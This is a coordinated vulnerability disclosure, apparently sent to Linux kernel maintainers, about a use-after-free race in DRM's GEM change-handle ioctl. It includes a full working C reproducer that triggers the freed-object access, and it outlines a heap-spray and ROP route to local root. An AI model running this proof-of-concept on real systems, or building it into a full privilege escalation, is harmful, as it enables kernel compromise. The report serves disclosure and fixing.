Hi,
We found a use-after-free caused by a handle_count underflow race in
drm_gem_change_handle_ioctl. The old handle remains live in the IDR
during the lock-gap between spin_unlock(&table_lock) and the subsequent
spin_lock(&table_lock), allowing a concurrent GEM_CLOSE on the same
handle to decrement handle_count to 0 and free the GEM object while the
new handle still references it in the IDR. On drivers with a .close
callback (i915, amdgpu, nouveau), the subsequent close of the dangling
new handle dereferences a freed vtable pointer at offset 624, enabling
function pointer hijack for local privilege escalation.
## Affected versions
Verified on Linux v7.1.0-rc4 (arm64, CONFIG_DRM=y, CONFIG_DRM_VGEM=y).
Introduced: v7.1-rc3 commit 5e28b7b94408 ("drm: Set old handle to
NULL before prime swap in change_handle")
Feature origin: v6.18 commit 53096728b891 ("drm: Add DRM prime
interface to reassign GEM handle")
Latest affected: v7.1-rc4 (current mainline)
The race was introduced by 5e28b7b94408 which attempted to fix a
different concurrency issue with change_handle but left the old handle
live in the IDR during the lock-gap.
## Description
drm_gem_change_handle_ioctl performs a "move" operation: it allocates a
new IDR slot for the GEM object and removes the old one. The operation
drops table_lock between setting up the new handle placeholder and
completing the move (to perform prime bookkeeping under prime.lock).
During this window (drivers/gpu/drm/drm_gem.c, between line 1068 and
line 1085), IDR[old_handle] still contains obj. A concurrent
drm_gem_handle_delete(old_handle) can:
1. Acquire table_lock, idr_replace the old handle with NULL, release
table_lock — this succeeds because the old handle is still live.
2. Call drm_gem_object_release_handle, which blocks on prime.lock
(held by change_handle).
3. After change_handle completes and releases prime.lock, the blocked
delete finishes: it calls drm_gem_object_handle_put_unlocked,
decrementing handle_count from 1 to 0.
4. handle_count == 0 triggers the final drm_gem_object_put, freeing
the object. But IDR[new_handle] still points to it.
change_handle treats the operation as a rename — it never increments
handle_count for the new handle, and never decrements it for the old
handle. The concurrent delete's decrement produces a net underflow.
The WARNING at drm_gem.c:340 (the WARN_ON(handle_count == 0) guard in
drm_gem_object_handle_put_unlocked) fires on each race win, confirming
the underflow.
## Impact
- handle_count underflow to 0: triggers premature object free while
IDR[new_handle] still references the object.
- UAF on GEM object (drm_gem_shmem_object, 720 bytes, kmalloc-1024):
subsequent GEM_CLOSE on the dangling new handle dereferences freed
memory including obj->funcs vtable pointer at offset 624.
- Function pointer hijack: on DRM drivers with a .close callback
(i915, amdgpu, nouveau), obj->funcs->close(obj, file_priv) is
called from freed/resprayed memory — attacker-controlled function
pointer execution in kernel context.
- Local privilege escalation: heap spray of kmalloc-1024 with
controlled data overwrites obj->funcs, enabling ROP/JOP chain to
commit_creds(prepare_kernel_cred(0)).
## Conditions
- CONFIG_DRM=y (enabled on all desktop/server distro kernels)
- Any DRM driver providing GEM objects (VGEM, i915, amdgpu, etc.)
- DRM render node access (/dev/dri/renderD* — typically mode 0666 on
desktop Linux, or video/render group membership)
- No capabilities required
- Two threads sharing the same DRM fd (pthread_create or fork)
- Architecture independent (verified on arm64)
## Suspected location
drivers/gpu/drm/drm_gem.c:
- drm_gem_change_handle_ioctl: spin_unlock(&table_lock) at ~line 1068
opens the race window; old handle remains in IDR
- drm_gem_object_handle_put_unlocked (~line 340): WARN_ON fires when
handle_count == 0 due to concurrent close during the lock-gap
- drm_gem_handle_delete (~line 400): concurrent delete succeeds on old
handle while change_handle holds only prime.lock
## Reproducer
Build: gcc -o trigger_v3 trigger_v3.c -static -lpthread
Run: ./trigger_v3 [iterations] (default: 20000)
Kernel: v7.1-rc3+ with CONFIG_DRM=y, CONFIG_DRM_VGEM=y
Result: 5 races won in ~1300 iterations (0.38% hit rate) on arm64 QEMU
(2 vCPU, HVF acceleration)
Each race win triggers WARNING at drm_gem.c:340 confirming handle_count
underflow. The PoC uses PRIME export (DRM_IOCTL_PRIME_HANDLE_TO_FD) to
widen the race window by forcing change_handle through the
drm_prime_add_buf_handle path.
Verified on arm64.
Kernel output (dmesg, fires on each race win):
WARNING: drivers/gpu/drm/drm_gem.c:340 at
drm_gem_object_handle_put_unlocked+0x23c/0x34c, CPU#1: trigger_v3/61
CPU: 1 UID: 0 PID: 61 Comm: trigger_v3 Not tainted 7.1.0-rc4 #2 PREEMPTLAZY
Call trace:
drm_gem_object_handle_put_unlocked+0x23c/0x34c (P)
drm_gem_object_release_handle+0xa0/0x208
drm_gem_handle_delete+0x64/0xb0
drm_gem_close_ioctl+0xc4/0x114
drm_ioctl_kernel+0x128/0x2ac
drm_ioctl+0x478/0xa38
__arm64_sys_ioctl+0x578/0x10cc
--- trigger_v3.c ---
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <errno.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <stdatomic.h>
#include <sched.h>
#ifndef FUTEX_WAIT
#define FUTEX_WAIT 0
#define FUTEX_WAKE 1
#endif
struct drm_mode_create_dumb {
uint32_t height;
uint32_t width;
uint32_t bpp;
uint32_t flags;
uint32_t handle;
uint32_t pitch;
uint64_t size;
};
struct drm_gem_close {
uint32_t handle;
uint32_t pad;
};
struct drm_gem_change_handle {
uint32_t handle;
uint32_t new_handle;
};
struct drm_prime_handle {
uint32_t handle;
uint32_t flags;
int32_t fd;
};
#define DRM_IOCTL_MODE_CREATE_DUMB _IOWR('d', 0xB2, struct
drm_mode_create_dumb)
#define DRM_IOCTL_GEM_CLOSE _IOW('d', 0x09, struct drm_gem_close)
#define DRM_IOCTL_GEM_CHANGE_HANDLE _IOWR('d', 0xD2, struct
drm_gem_change_handle)
#define DRM_IOCTL_PRIME_HANDLE_TO_FD _IOWR('d', 0x2D, struct drm_prime_handle)
#define DRM_RDWR 0x02
static int futex_wait(int *addr, int val) {
return syscall(SYS_futex, addr, FUTEX_WAIT, val, NULL, NULL, 0);
}
static int futex_wake(int *addr, int count) {
return syscall(SYS_futex, addr, FUTEX_WAKE, count, NULL, NULL, 0);
}
struct race_ctx {
int drm_fd;
uint32_t old_handle;
uint32_t new_handle;
int barrier __attribute__((aligned(4)));
int change_ret;
int close_ret;
};
static void *thread_change(void *arg) {
struct race_ctx *ctx = arg;
struct drm_gem_change_handle ch = {
.handle = ctx->old_handle,
.new_handle = ctx->new_handle,
};
__atomic_add_fetch(&ctx->barrier, 1, __ATOMIC_SEQ_CST);
futex_wait(&ctx->barrier, 1);
ctx->change_ret = ioctl(ctx->drm_fd, DRM_IOCTL_GEM_CHANGE_HANDLE, &ch);
if (ctx->change_ret < 0) ctx->change_ret = -errno;
return NULL;
}
static void *thread_close(void *arg) {
struct race_ctx *ctx = arg;
struct drm_gem_close cl = { .handle = ctx->old_handle };
__atomic_add_fetch(&ctx->barrier, 1, __ATOMIC_SEQ_CST);
futex_wait(&ctx->barrier, 2);
ctx->close_ret = ioctl(ctx->drm_fd, DRM_IOCTL_GEM_CLOSE, &cl);
if (ctx->close_ret < 0) ctx->close_ret = -errno;
return NULL;
}
static int find_drm(void) {
char path[64];
for (int i = 0; i < 16; i++) {
snprintf(path, sizeof(path), "/dev/dri/card%d", i);
int fd = open(path, O_RDWR);
if (fd >= 0) { printf("[+] %s\n", path); return fd; }
}
return -1;
}
int main(int argc, char *argv[]) {
int max_iters = 20000;
if (argc > 1) max_iters = atoi(argv[1]);
printf("=== DRM GEM change_handle Race v3 (KASAN trigger) ===\n");
int fd = find_drm();
if (fd < 0) { fprintf(stderr, "[-] No DRM device\n"); return 1; }
int wins = 0;
for (int i = 0; i < max_iters; i++) {
struct drm_mode_create_dumb create = {
.height = 1, .width = 64, .bpp = 32,
};
if (ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &create) < 0) {
usleep(1000);
continue;
}
/* PRIME export to widen race window AND add kref complexity */
struct drm_prime_handle prime = {
.handle = create.handle, .flags = DRM_RDWR,
};
ioctl(fd, DRM_IOCTL_PRIME_HANDLE_TO_FD, &prime);
if (prime.fd >= 0) close(prime.fd);
uint32_t new_handle = 50000 + (i % 40000);
struct race_ctx ctx = {
.drm_fd = fd,
.old_handle = create.handle,
.new_handle = new_handle,
.barrier = 0,
};
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_change, &ctx);
pthread_create(&t2, NULL, thread_close, &ctx);
while (__atomic_load_n(&ctx.barrier, __ATOMIC_SEQ_CST) < 2)
sched_yield();
__atomic_store_n(&ctx.barrier, 3, __ATOMIC_SEQ_CST);
futex_wake(&ctx.barrier, 2);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
int both_ok = (ctx.change_ret == 0 && ctx.close_ret == 0);
if (both_ok) {
wins++;
printf("[!!!] RACE WON iter=%d wins=%d\n", i, wins);
/*
* At this point:
* - handle_count was decremented to 0 by the concurrent close
* - The object MAY be freed (kref reached 0)
* - IDR[new_handle] still points to the object
*
* Give the kernel time to fully process the free.
* Then trigger the UAF by closing new_handle.
*/
usleep(10000); /* 10ms — let slab free complete */
/* Close the dangling new_handle → UAF access in release_handle */
struct drm_gem_close uaf = { .handle = new_handle };
int r = ioctl(fd, DRM_IOCTL_GEM_CLOSE, &uaf);
printf(" UAF close: %d (%s)\n", r, r < 0 ? strerror(errno) :
"ok");
if (wins >= 5) break;
continue;
}
/* Cleanup */
if (ctx.change_ret == 0) {
struct drm_gem_close cl = { .handle = new_handle };
ioctl(fd, DRM_IOCTL_GEM_CLOSE, &cl);
} else if (ctx.close_ret != 0) {
struct drm_gem_close cl = { .handle = create.handle };
ioctl(fd, DRM_IOCTL_GEM_CLOSE, &cl);
}
if (i % 1000 == 0 && i > 0)
printf("[*] iter=%d wins=%d\n", i, wins);
}
printf("\n=== Results: %d races won in %d iters ===\n", wins, max_iters);
close(fd);
return wins > 0 ? 0 : 1;
}
--- end trigger_v3.c ---
## Fix
We have submitted a patch via git-send-email:
Message-ID: <[email protected]>
## Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab ([email protected])
- Atuin Automated Vulnerability Discovery Engine
- Zhenghang Xiao ([email protected])
- Guannan Wang ([email protected])
- Zhanpeng Liu ([email protected])
- Jiashuo Liang ([email protected])
- Guancheng Li ([email protected])
CVE and credits are preferred.
If you have any questions regarding the vulnerability details, please
feel free to reach out to us for further discussion. Our email address
is [email protected].
We follow the security industry standard disclosure policy -- the 90+30
policy (reference:
https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html).
If the aforementioned vulnerabilities cannot be fixed within 90 days of
submission, we reserve the right to publicly disclose all information
about the issues after this timeframe.